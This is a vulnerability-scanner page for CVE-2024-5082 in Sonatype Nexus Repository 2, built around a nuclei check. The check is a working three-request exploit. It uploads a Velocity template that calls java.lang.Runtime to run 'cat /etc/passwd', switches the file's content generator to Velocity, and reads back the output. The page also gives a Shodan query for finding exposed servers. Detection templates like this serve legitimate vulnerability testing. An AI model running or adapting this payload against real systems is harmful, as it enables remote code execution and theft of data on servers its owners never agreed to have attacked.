HexBrain

Browse / CVEs / CVE-2024-5082

CVE-2024-5082

Nexus Repository 2 - Remote Code Execution

highseverity
3.1%likelihood of exploitation, next 30 days
88%of all CVEs are less likely
Readycheck to confirm it

A Remote Code Execution vulnerability has been discovered in Sonatype Nexus Repository 2.This issue affects Nexus Repository 2 OSS/Pro versions up to and including 2.15.1.

Impact

Attackers can exploit vulnerabilities to compromise the system.

Fix

Update to the latest patched version addressing CVE-2024-5082.

How to confirm it

Send: PUT /nexus/service/local/repositories/releases/content/com/sbt/ignite/ignite-bom/maven-metadata.xml
Positive when: status 201
Send: PUT /nexus/service/local/repositories/releases/content//.nexus/attributes/com/sbt/ignite/ignite-bom/maven-metadata.xml
Positive when: status 201
Send: GET /nexus/service/local/repositories/releases/content/com/sbt/ignite/ignite-bom/maven-metadata.xml
Positive when: matches /root:.*:0:0:/ AND contains in content_type "text/plain"

Run it with nuclei: nuclei -id CVE-2024-5082 -u <target>

The full check
id: CVE-2024-5082

info:
  name: Nexus Repository 2 - Remote Code Execution
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    A Remote Code Execution vulnerability has been discovered in Sonatype Nexus Repository 2.This issue affects Nexus Repository 2 OSS/Pro versions up to and including 2.15.1.
  impact: |
    Attackers can exploit vulnerabilities to compromise the system.
  remediation: |
    Update to the latest patched version addressing CVE-2024-5082.
  reference:
    - https://github.blog/security/vulnerability-research/attacks-on-maven-proxy-repositories/
    - https://support.sonatype.com/hc/en-us/articles/30694125380755
  classification:
    epss-score: 0.03096
    epss-percentile: 0.87845
  metadata:
    verified: true
    max-request: 3
    shodan-query: html:"Nexus Repository"
  tags: cve,cve2024,intrusive,nexus,sonartype,vkev,vuln

flow: http(1) && http(2) && http(3)

variables:
  username: "{{username}}"
  password: "{{password}}"
  credentials: "{{ username + ':' + password }}"

http:
  - raw:
      - |
        PUT /nexus/service/local/repositories/releases/content/com/sbt/ignite/ignite-bom/maven-metadata.xml HTTP/1.1
        Host: {{Hostname}}
        Connection: close
        Authorization: Basic {{base64(credentials)}}
        Content-type: text/xml

        #set($engine="")
        #set($run=$engine.getClass().forName("java.lang.Runtime"))
        #set($runtime=$run.getRuntime())
        #set($proc=$runtime.exec("cat /etc/passwd"))
        #set($null=$proc.waitFor())
        #set($istr=$proc.getInputStream())
        #set($chr=$engine.getClass().forName("java.lang.Character"))
        #set($output="")
        #set($string=$engine.getClass().forName("java.lang.String"))
        #foreach($i in [1..$istr.available()])
        #set($output=$output.concat($string.valueOf($chr.toChars($istr.read()))))
        #end
        $output

    matchers:
      - type: status
        internal: true
        status:
          - 201

  - raw:
      - |
        PUT /nexus/service/local/repositories/releases/content//.nexus/attributes/com/sbt/ignite/ignite-bom/maven-metadata.xml HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic {{base64(credentials)}}
        Content-type: application/json

        {"contentGenerator":"velocity"}

    matchers:
      - type: status
        internal: true
        status:
          - 201

  - raw:
      - |
        GET /nexus/service/local/repositories/releases/content/com/sbt/ignite/ignite-bom/maven-metadata.xml HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic {{base64(credentials)}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - 'root:.*:0:0:'

      - type: word
        part: content_type
        words:
          - "text/plain"

References

Use this check only on systems you are authorised to test. Where the data comes from